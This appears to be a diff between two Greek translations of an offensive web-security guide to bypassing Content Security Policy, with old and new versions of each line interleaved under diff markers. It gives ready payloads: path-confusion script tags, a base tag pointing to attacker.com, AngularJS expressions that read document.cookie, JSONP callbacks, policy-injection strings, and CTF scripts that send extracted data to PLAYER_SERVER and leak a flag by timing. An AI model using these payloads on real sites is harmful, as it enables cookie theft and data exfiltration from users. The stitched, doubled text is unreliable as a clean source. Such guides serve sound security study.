Για παράδειγμα, αν το CSP επιτρέπει το μονοπάτι `https://example.com/scripts/react/`, μπορεί να παρακαμφθεί ως εξής:
|
||||||
```html
|
```html
|
||||||
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
|
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
|
||||||
```
|
```
|
||||||
Ο browser τελικά θα φορτώσει `https://example.com/scripts/angular/angular.js`.
|
Ο browser τελικά θα φορτώσει `https://example.com/scripts/angular/angular.js`.
|
||||||
|
|
||||||
Αυτό λειτουργεί επειδή για τον browser φορτώνετε ένα αρχείο με όνομα `..%2fangular%2fangular.js` που βρίσκεται κάτω από `https://example.com/scripts/react/`, το οποίο συμμορφώνεται με το CSP.
|
Αυτό λειτουργεί επειδή για τον browser, φορτώνεις ένα αρχείο με όνομα `..%2fangular%2fangular.js` που βρίσκεται κάτω από `https://example.com/scripts/react/`, το οποίο συμμορφώνεται με το CSP.
|
||||||
|
|
||||||
Στη συνέχεια ο browser θα το αποκωδικοποιήσει, ζητώντας ουσιαστικά `https://example.com/scripts/react/../angular/angular.js`, το οποίο ισοδυναμεί με `https://example.com/scripts/angular/angular.js`.
|
Στη συνέχεια, θα το αποκωδικοποιήσει, κάνοντας στην ουσία αίτηση για `https://example.com/scripts/react/../angular/angular.js`, το οποίο ισοδυναμεί με `https://example.com/scripts/angular/angular.js`.
|
||||||
|
|
||||||
**Εκμεταλλευόμενοι αυτή την ασυνέπεια στην ερμηνεία του URL μεταξύ του browser και του server, οι κανόνες διαδρομής μπορούν να παρακαμφθούν.**
|
Εκμεταλλευόμενοι αυτήν την ασυνέπεια στην ερμηνεία των URL μεταξύ browser και server, οι κανόνες διαδρομής μπορούν να παρακαμφθούν.
|
||||||
|
|
||||||
Η λύση είναι να μην αντιμετωπίζεται το `%2f` ως `/` από την πλευρά του διακομιστή, διασφαλίζοντας συνεπή ερμηνεία μεταξύ του browser και του διακομιστή για να αποφευχθεί αυτό το πρόβλημα.
|
Η λύση είναι να μην αντιμετωπίζεται το `%2f` ως `/` στην πλευρά του διακομιστή, διασφαλίζοντας συνεπή ερμηνεία μεταξύ browser και διακομιστή για να αποφευχθεί αυτό το ζήτημα.
|
||||||
|
|
||||||
Παράδειγμα Online:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
Παράδειγμα online:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
||||||
|
|
||||||
### Iframes JS execution
|
### Εκτέλεση JS σε iframes
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../xss-cross-site-scripting/iframes-in-xss-and-csp.md
|
../xss-cross-site-scripting/iframes-in-xss-and-csp.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Ελλείπει **base-uri**
|
### Έλλειψη **base-uri**
|
||||||
|
|
||||||
Αν η οδηγία **base-uri** λείπει, μπορείτε να την καταχραστείτε για να πραγματοποιήσετε ένα [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
|
Εάν η οδηγία **base-uri** λείπει, μπορείτε να την εκμεταλλευτείτε για να εκτελέσετε ένα [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
|
||||||
|
|
||||||
Επιπλέον, εάν η **σελίδα φορτώνει ένα script χρησιμοποιώντας σχετική διαδρομή** (όπως `<script src="/js/app.js">`) και χρησιμοποιεί **Nonce**, μπορείτε να καταχραστείτε την **base** **tag** ώστε να **φορτωθεί** το script από **τον δικό σας server, επιτυγχάνοντας XSS.**\
|
Επιπλέον, εάν η **σελίδα φορτώνει ένα script χρησιμοποιώντας μια σχετική διαδρομή** (όπως `<script src="/js/app.js">`) και χρησιμοποιεί ένα **Nonce**, μπορείτε να εκμεταλλευτείτε το **base** **tag** για να το κάνετε να **φορτώσει** το script από **τον δικό σας διακομιστή επιτυγχάνοντας XSS.**\
|
||||||
Αν η ευάλωτη σελίδα φορτώνεται με **httpS**, χρησιμοποιήστε μια httpS url στην base.
|
Αν η ευάλωτη σελίδα φορτώνεται με **httpS**, χρησιμοποιήστε ένα httpS url στο base.
|
||||||
```html
|
```html
|
||||||
<base href="https://www.attacker.com/" />
|
<base href="https://www.attacker.com/" />
|
||||||
```
|
```
|
||||||
### AngularJS γεγονότα
|
### AngularJS συμβάντα
|
||||||
|
|
||||||
Μια συγκεκριμένη πολιτική, γνωστή ως Content Security Policy (CSP), μπορεί να περιορίσει τα JavaScript events. Ωστόσο, το AngularJS εισάγει custom events ως εναλλακτική. Μέσα σε ένα event, το AngularJS παρέχει ένα ξεχωριστό αντικείμενο `$event`, που αναφέρεται στο εγγενές αντικείμενο event του browser. Αυτό το αντικείμενο `$event` μπορεί να αξιοποιηθεί για να παρακάμψει την CSP. Σημειωτέον, στο Chrome, το αντικείμενο `$event/event` διαθέτει την ιδιότητα `path`, που περιέχει έναν πίνακα αντικειμένων εμπλεκόμενων στην αλυσίδα εκτέλεσης του event, με το αντικείμενο `window` να βρίσκεται πάντα στο τέλος. Αυτή η δομή είναι κρίσιμη για τεχνικές απόδρασης από sandbox.
|
Μια συγκεκριμένη πολιτική, γνωστή ως Content Security Policy (CSP), μπορεί να περιορίσει τα JavaScript συμβάντα. Ωστόσο, το AngularJS παρέχει custom events ως εναλλακτική. Μέσα σε ένα event, το AngularJS παρέχει ένα μοναδικό αντικείμενο `$event`, το οποίο αναφέρεται στο εγγενές αντικείμενο συμβάντος του browser. Αυτό το `$event` αντικείμενο μπορεί να εκμεταλλευτεί ώστε να παρακαμφθεί το CSP. Σημειωτέον, στο Chrome, το αντικείμενο `$event/event` έχει ένα χαρακτηριστικό `path`, που περιέχει έναν πίνακα αντικειμένων που εμπλέκονται στην αλυσίδα εκτέλεσης του event, με το αντικείμενο `window` να βρίσκεται πάντα στο τέλος. Αυτή η δομή είναι κρίσιμη για τεχνικές sandbox escape.
|
||||||
|
|
||||||
Διευθύνοντας αυτόν τον πίνακα στο φίλτρο `orderBy`, είναι δυνατόν να τον επαναλάβουμε και να χρησιμοποιήσουμε το τελικό στοιχείο (το αντικείμενο `window`) για να καλέσουμε μια global συνάρτηση όπως `alert()`. Το παρακάτω παράδειγμα κώδικα αποσαφηνίζει αυτή τη διαδικασία:
|
Κατευθύνοντας αυτόν τον πίνακα στο φίλτρο `orderBy`, είναι εφικτό να τον διατρέξετε και να εκμεταλλευτείτε το τελευταίο στοιχείο (το αντικείμενο `window`) για να καλέσετε μια global function όπως `alert()`. Το παρακάτω δείγμα κώδικα εξηγεί αυτή τη διαδικασία:
|
||||||
```xml
|
```xml
|
||||||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||||||
```
|
```
|
||||||
Αυτό το απόσπασμα αναδεικνύει τη χρήση του `ng-focus` directive για να ενεργοποιήσει το event, χρησιμοποιώντας `$event.path|orderBy` για την τροποποίηση του πίνακα `path` και αξιοποιώντας το αντικείμενο `window` για να εκτελέσει τη συνάρτηση `alert()`, αποκαλύπτοντας έτσι το `document.cookie`.
|
Αυτό το απόσπασμα επισημαίνει τη χρήση της οδηγίας `ng-focus` για να πυροδοτήσει το event, αξιοποιώντας το `$event.path|orderBy` για να χειριστεί τον πίνακα `path`, και χρησιμοποιώντας το αντικείμενο `window` για να εκτελέσει τη συνάρτηση `alert()`, αποκαλύπτοντας έτσι το `document.cookie`.
|
||||||
|
|
||||||
**Βρείτε άλλες Angular bypasses στο** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
**Βρείτε άλλους Angular bypasses στο** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
||||||
|
|
||||||
### AngularJS and whitelisted domain
|
### AngularJS and whitelisted domain
|
||||||
```
|
```
|
||||||
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
|
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
|
||||||
```
|
```
|
||||||
Μια πολιτική CSP που προσθέτει domains στη whitelist για script loading σε μια εφαρμογή Angular JS μπορεί να παρακαμφθεί μέσω της κλήσης callback functions και ορισμένων vulnerable classes. Περαιτέρω πληροφορίες για αυτή την τεχνική υπάρχουν σε έναν αναλυτικό οδηγό διαθέσιμο σε αυτό το [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
|
Μια πολιτική CSP που whitelists domains για script loading σε μια εφαρμογή Angular JS μπορεί να παρακαμφθεί μέσω της κλήσης των callback functions και ορισμένων vulnerable classes. Περαιτέρω πληροφορίες για αυτήν την τεχνική βρίσκονται σε έναν λεπτομερή οδηγό διαθέσιμο σε αυτό το [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
|
||||||
|
|
||||||
Working payloads:
|
Working payloads:
|
||||||
```html
|
```html
|
||||||
@ -399,15 +399,15 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
|
|||||||
<!-- no longer working -->
|
<!-- no longer working -->
|
||||||
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
|
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
|
||||||
```
|
```
|
||||||
Άλλα JSONP arbitrary execution endpoints μπορούν να βρεθούν στο [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (μερικά από αυτά διαγράφηκαν ή διορθώθηκαν)
|
Άλλα JSONP arbitrary execution endpoints μπορούν να βρεθούν στο [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (μερικά από αυτά έχουν διαγραφεί ή διορθωθεί)
|
||||||
|
|
||||||
### Bypass via Redirection
|
### Bypass via Redirection
|
||||||
|
|
||||||
Τι συμβαίνει όταν το CSP συναντά server-side redirection; Αν η ανακατεύθυνση οδηγεί σε διαφορετικό origin που δεν επιτρέπεται, θα αποτύχει.
|
Τι συμβαίνει όταν το CSP συναντά server-side redirection; Αν η redirection οδηγεί σε διαφορετικό origin που δεν επιτρέπεται, θα αποτύχει.
|
||||||
|
|
||||||
Ωστόσο, σύμφωνα με την περιγραφή στο [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), αν η ανακατεύθυνση οδηγεί σε διαφορετική διαδρομή, μπορεί να παρακάμψει τους αρχικούς περιορισμούς.
|
Ωστόσο, σύμφωνα με την περιγραφή στο [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), εάν η redirection οδηγεί σε διαφορετικό path, μπορεί να bypass τους αρχικούς περιορισμούς.
|
||||||
|
|
||||||
Εδώ ένα παράδειγμα:
|
Παράδειγμα:
|
||||||
```html
|
```html
|
||||||
<!DOCTYPE html>
|
<!DOCTYPE html>
|
||||||
<html>
|
<html>
|
||||||
@ -425,38 +425,38 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
|
|||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
```
|
```
|
||||||
If CSP is set to `https://www.google.com/a/b/c/d`, since the path is considered, both `/test` and `/a/test` scripts will be blocked by CSP.
|
Αν το CSP είναι ρυθμισμένο στο `https://www.google.com/a/b/c/d`, επειδή το path λαμβάνεται υπόψη, τόσο τα scripts `/test` όσο και `/a/test` θα μπλοκαριστούν από την CSP.
|
||||||
|
|
||||||
Ωστόσο, το τελικό `http://localhost:5555/301` θα **ανακατευθυνθεί στην πλευρά του server σε `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Εφόσον πρόκειται για ανακατεύθυνση, η **διαδρομή δεν λαμβάνεται υπόψη**, και το **script μπορεί να φορτωθεί**, παρακάμπτοντας έτσι τον περιορισμό της διαδρομής.
|
Ωστόσο, το τελικό `http://localhost:5555/301` θα **ανακατευθυνθεί στον server-side σε `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Εφόσον πρόκειται για redirection, το **path δεν λαμβάνεται υπόψη**, και το **script μπορεί να φορτωθεί**, παρακάμπτοντας έτσι τον περιορισμό του path.
|
||||||
|
|
||||||
Με αυτή την ανακατεύθυνση, ακόμη και αν η διαδρομή καθοριστεί πλήρως, θα παρακαμφθεί.
|
Με αυτή την ανακατεύθυνση, ακόμα και αν το path καθοριστεί πλήρως, θα παρακαμφθεί.
|
||||||
|
|
||||||
Επομένως, η καλύτερη λύση είναι να διασφαλιστεί ότι ο ιστότοπος δεν έχει ευπάθειες open redirect και ότι δεν υπάρχουν domains που μπορούν να εκμεταλλευτούν στους κανόνες CSP.
|
Επομένως, η καλύτερη λύση είναι να διασφαλίσετε ότι ο ιστότοπος δεν έχει ευπάθειες τύπου open redirect και ότι δεν υπάρχουν domains που μπορούν να εκμεταλλευτούν οι κανόνες CSP.
|
||||||
|
|
||||||
### Παράκαμψη CSP με dangling markup
|
### Bypass CSP with dangling markup
|
||||||
|
|
||||||
Read [how here](../dangling-markup-html-scriptless-injection/index.html).
|
Διαβάστε [πώς εδώ](../dangling-markup-html-scriptless-injection/index.html).
|
||||||
|
|
||||||
### 'unsafe-inline'; img-src \*; via XSS
|
### 'unsafe-inline'; img-src \*; via XSS
|
||||||
```
|
```
|
||||||
default-src 'self' 'unsafe-inline'; img-src *;
|
default-src 'self' 'unsafe-inline'; img-src *;
|
||||||
```
|
```
|
||||||
`'unsafe-inline'` σημαίνει ότι μπορείτε να εκτελέσετε οποιοδήποτε script μέσα στον κώδικα (το XSS μπορεί να εκτελέσει κώδικα) και `img-src *` σημαίνει ότι μπορείτε να χρησιμοποιήσετε στη σελίδα οποιαδήποτε εικόνα από οποιαδήποτε πηγή.
|
`'unsafe-inline'` σημαίνει ότι μπορείς να εκτελέσεις οποιοδήποτε script μέσα στον code (το XSS μπορεί να εκτελέσει code) και `img-src *` σημαίνει ότι μπορείς να χρησιμοποιήσεις στη σελίδα οποιαδήποτε εικόνα από οποιαδήποτε πηγή.
|
||||||
|
|
||||||
Μπορείτε να παρακάμψετε αυτό το CSP εξάγοντας τα δεδομένα μέσω εικόνων (σε αυτήν την περίπτωση το XSS εκμεταλλεύεται ένα CSRF όπου μια σελίδα προσβάσιμη από το bot περιέχει ένα SQLi, και εξάγει το flag μέσω μιας εικόνας):
|
Μπορείς να παρακάμψεις αυτό το CSP εξάγοντας τα δεδομένα μέσω εικόνων (σε αυτή την περίπτωση το XSS εκμεταλλεύεται ένα CSRF όπου μια σελίδα προσβάσιμη από το bot περιέχει ένα SQLi, και εξάγει το flag μέσω εικόνας):
|
||||||
```javascript
|
```javascript
|
||||||
<script>
|
<script>
|
||||||
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
|
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
|
||||||
Image().src='http://PLAYER_SERVER/?'+_)
|
Image().src='http://PLAYER_SERVER/?'+_)
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
Από: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||||
|
|
||||||
Μπορείτε επίσης να εκμεταλλευτείτε αυτή τη ρύθμιση για να **φορτώσετε javascript κώδικα που έχει εισαχθεί μέσα σε μια εικόνα**. Για παράδειγμα, αν η σελίδα επιτρέπει τη φόρτωση εικόνων από Twitter, μπορείτε να **δημιουργήσετε** μια **ειδική εικόνα**, να την **ανεβάσετε** στο Twitter και να εκμεταλλευτείτε το "**unsafe-inline**" για να **εκτελέσετε** έναν JS κώδικα (σαν κανονικό XSS) που θα **φορτώσει** την **εικόνα**, θα **εξαγάγει** το **JS** από αυτή και θα το **εκτελέσει**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
Μπορείτε επίσης να εκμεταλλευτείτε αυτή τη διαμόρφωση για να **φορτώσετε javascript code που έχει εισαχθεί μέσα σε μια εικόνα**. Για παράδειγμα, αν η σελίδα επιτρέπει τη φόρτωση εικόνων από το Twitter. Μπορείτε να **δημιουργήσετε** μια **ειδική εικόνα**, να την **ανεβάσετε** στο Twitter και να εκμεταλλευτείτε το "**unsafe-inline**" για να **εκτελέσετε** έναν JS κώδικα (ως ένα κανονικό XSS) που θα **φορτώσει** την **εικόνα**, θα **εξαγάγει** τον **JS** από αυτή και θα **τον εκτελέσει**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||||
|
|
||||||
### Με Service Workers
|
### Με Service Workers
|
||||||
|
|
||||||
Η συνάρτηση `importScripts` των Service workers δεν περιορίζεται από το CSP:
|
Η συνάρτηση των Service workers **`importScripts`** δεν περιορίζεται από την CSP:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -465,29 +465,29 @@ From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](
|
|||||||
|
|
||||||
### Policy Injection
|
### Policy Injection
|
||||||
|
|
||||||
Έρευνα: [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
|
**Έρευνα:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
|
||||||
|
|
||||||
#### Chrome
|
#### Chrome
|
||||||
|
|
||||||
Εάν μια **παράμετρος** που αποστέλλετε **επικολλάται μέσα** στη **δήλωση** της **πολιτικής**, τότε μπορείτε να **τροποποιήσετε** την **πολιτική** με κάποιο τρόπο που την καθιστά **άχρηστη**. Μπορείτε να **επιτρέψετε** το script 'unsafe-inline' με οποιοδήποτε από αυτά τα bypasses:
|
Αν μια **παράμετρος** που στέλνετε **επικολλάται μέσα** στη **δήλωση** της **policy**, τότε μπορείτε να **τροποποιήσετε** την **policy** με κάποιο τρόπο που θα την καθιστά **άχρηστη**. Μπορείτε να **επιτρέψετε script 'unsafe-inline'** με οποιοδήποτε από αυτά τα bypasses:
|
||||||
```bash
|
```bash
|
||||||
script-src-elem *; script-src-attr *
|
script-src-elem *; script-src-attr *
|
||||||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||||
```
|
```
|
||||||
Επειδή αυτή η οδηγία θα **επικαλύψει τα υπάρχοντα script-src directives**.\
|
Επειδή αυτή η οδηγία θα **overwrite existing script-src directives**.\
|
||||||
Μπορείς να βρεις ένα παράδειγμα εδώ: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
|
You can find an example here: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
|
||||||
|
|
||||||
#### Edge
|
#### Edge
|
||||||
|
|
||||||
Στο Edge είναι πολύ πιο απλό. Αν μπορείς να προσθέσεις στο CSP απλά αυτό: **`;_`** **Edge** θα **απορρίψει** ολόκληρη την **πολιτική**.\
|
Στον Edge είναι πολύ πιο απλό. Αν μπορείς να προσθέσεις στο CSP απλώς αυτό: **`;_`** ο **Edge** θα **drop** ολόκληρη την **policy**.\
|
||||||
Παράδειγμα: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
|
Example: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
|
||||||
|
|
||||||
### img-src \*; μέσω XSS (iframe) - Time attack
|
### img-src \*; via XSS (iframe) - Time attack
|
||||||
|
|
||||||
Παρατήρησε την έλλειψη της οδηγίας `'unsafe-inline'`\
|
Σημείωσε την έλλειψη της οδηγίας `'unsafe-inline'`\
|
||||||
Αυτή τη φορά μπορείς να κάνεις το θύμα να **φορτώσει** μια σελίδα υπό **τον έλεγχό σου** μέσω **XSS** με ένα `<iframe`. Αυτή τη φορά θα κάνεις το θύμα να προσπελάσει τη σελίδα από όπου θέλεις να εξάγεις πληροφορίες (**CSRF**). Δεν μπορείς να προσπελάσεις το περιεχόμενο της σελίδας, αλλά αν με κάποιο τρόπο μπορείς να **ελέγξεις τον χρόνο που χρειάζεται η σελίδα για να φορτώσει**, μπορείς να εξάγεις τις πληροφορίες που χρειάζεσαι.
|
Αυτή τη φορά μπορείς να κάνεις το θύμα να **load** μια σελίδα υπό **your control** μέσω **XSS** με ένα `<iframe`. Αυτή τη φορά θα κάνεις το θύμα να προσπελάσει τη σελίδα από όπου θέλεις να εξάγεις πληροφορίες (**CSRF**). Δεν μπορείς να έχεις πρόσβαση στο περιεχόμενο της σελίδας, αλλά αν κατά κάποιο τρόπο μπορείς να **control the time the page needs to load** μπορείς να εξάγεις τις πληροφορίες που χρειάζεσαι.
|
||||||
|
|
||||||
Αυτή τη φορά θα εξαχθεί ένα **flag** — κάθε φορά που ένα **char** μανεύεται σωστά μέσω **SQLi**, η **απάντηση** παίρνει **περισσότερο χρόνο** λόγω της συνάρτησης **sleep**. Έτσι θα μπορέσεις να εξάγεις το flag:
|
Αυτή τη φορά ένα **flag** θα εξαχθεί, κάθε φορά που ένας **char is correctly guessed** μέσω SQLi η **response** χρειάζεται **περισσότερο χρόνο** λόγω της sleep function. Έτσι, θα είσαι σε θέση να εξαγάγεις το flag:
|
||||||
```html
|
```html
|
||||||
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
||||||
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
|
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
|
||||||
@ -549,22 +549,22 @@ run()
|
|||||||
```
|
```
|
||||||
### Μέσω Bookmarklets
|
### Μέσω Bookmarklets
|
||||||
|
|
||||||
Αυτή η επίθεση προϋποθέτει κάποια social engineering όπου ο attacker **πείθει τον χρήστη να σύρει και να αφήσει έναν σύνδεσμο πάνω στο bookmarklet του browser**. Το bookmarklet αυτό θα περιέχει **κακόβουλο javascript** code που όταν γίνει drag\&dropped ή κλικ θα εκτελεστεί στο context του τρέχοντος web window, **παρακάμπτοντας την CSP και επιτρέποντας την κλοπή ευαίσθητων πληροφοριών** όπως cookies ή tokens.
|
Αυτή η επίθεση θα περιλάμβανε κάποιο social engineering όπου ο επιτιθέμενος **πείθει τον χρήστη να σύρει και να αποθέσει έναν σύνδεσμο πάνω στο bookmarklet του browser**. Αυτό το bookmarklet θα περιείχε **malicious javascript** κώδικα που όταν drag\&dropped ή κλικ θα εκτελούνταν στο περιβάλλον του τρέχοντος παραθύρου web, **παρακάμπτοντας το CSP και επιτρέποντας την κλοπή ευαίσθητων πληροφοριών** όπως cookies ή tokens.
|
||||||
|
|
||||||
For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||||
|
|
||||||
### Παράκαμψη CSP με περιορισμό της CSP
|
### CSP bypass by restricting CSP
|
||||||
|
|
||||||
In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), η CSP παρακάμπτεται με την έγχυση μέσα σε ένα επιτρεπόμενο iframe μιας πιο περιοριστικής CSP που απαγόρευε το φόρτωμα ενός συγκεκριμένου JS file το οποίο, στη συνέχεια, μέσω **prototype pollution** ή **dom clobbering** επέτρεπε το **abuse a different script to load an arbitrary script**.
|
In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP is bypassed by injecting inside an allowed iframe a more restrictive CSP that disallowed to load a specific JS file that, then, via **prototype pollution** or **dom clobbering** allowed to **εκμεταλλευτεί ένα διαφορετικό script για να φορτώσει ένα αυθαίρετο script**.
|
||||||
|
|
||||||
Μπορείτε να **περιορίσετε την CSP ενός Iframe** με το **`csp`** attribute:
|
You can **restrict a CSP of an Iframe** with the **`csp`** attribute:
|
||||||
```html
|
```html
|
||||||
<iframe
|
<iframe
|
||||||
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
|
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
|
||||||
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
|
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
|
||||||
```
|
```
|
||||||
In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), ήταν δυνατό μέσω **HTML injection** να **πιο περιοριστικό** ένα **CSP**, έτσι ώστε ένα script που απέτρεπε το CSTI να απενεργοποιηθεί και επομένως η **vulnerability became exploitable.**\
|
Στο [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), ήταν δυνατό μέσω **HTML injection** να **περιοριστεί** πιο πολύ μια **CSP**, οπότε ένα script που εμπόδιζε το CSTI απενεργοποιήθηκε και ως αποτέλεσμα η **ευπάθεια έγινε εκμεταλλεύσιμη.**\
|
||||||
Το CSP μπορεί να γίνει πιο περιοριστικό χρησιμοποιώντας **HTML meta tags** και τα inline scripts μπορούν να απενεργοποιηθούν **αφαιρώντας** την **entry** που επιτρέπει το **nonce** τους και **επιτρέποντας συγκεκριμένο inline script μέσω sha**:
|
Η CSP μπορεί να γίνει πιο περιοριστική χρησιμοποιώντας **HTML meta tags** και τα inline scripts μπορούν να απενεργοποιηθούν **αφαιρώντας** την **entry** που επιτρέπει το **nonce** τους και **ενεργοποιώντας συγκεκριμένο inline script μέσω sha**:
|
||||||
```html
|
```html
|
||||||
<meta
|
<meta
|
||||||
http-equiv="Content-Security-Policy"
|
http-equiv="Content-Security-Policy"
|
||||||
@ -573,57 +573,57 @@ content="script-src 'self'
|
|||||||
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
|
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
|
||||||
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
|
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
|
||||||
```
|
```
|
||||||
### JS exfiltration with Content-Security-Policy-Report-Only
|
### JS exfiltration με Content-Security-Policy-Report-Only
|
||||||
|
|
||||||
Αν καταφέρεις να κάνεις τον server να απαντήσει με το header **`Content-Security-Policy-Report-Only`** με μια **τιμή που ελέγχεται από εσένα** (ίσως λόγω CRLF), μπορείς να το κάνεις να δείχνει στο server σου και αν **περιβάλεις** το **JS content** που θέλεις να exfiltrate με **`<script>`**, και επειδή είναι πολύ πιθανόν ότι το `unsafe-inline` δεν επιτρέπεται από το CSP, αυτό θα **προκαλέσει σφάλμα CSP** και μέρος του script (που περιέχει τις ευαίσθητες πληροφορίες) θα σταλεί στο server μέσω του `Content-Security-Policy-Report-Only`.
|
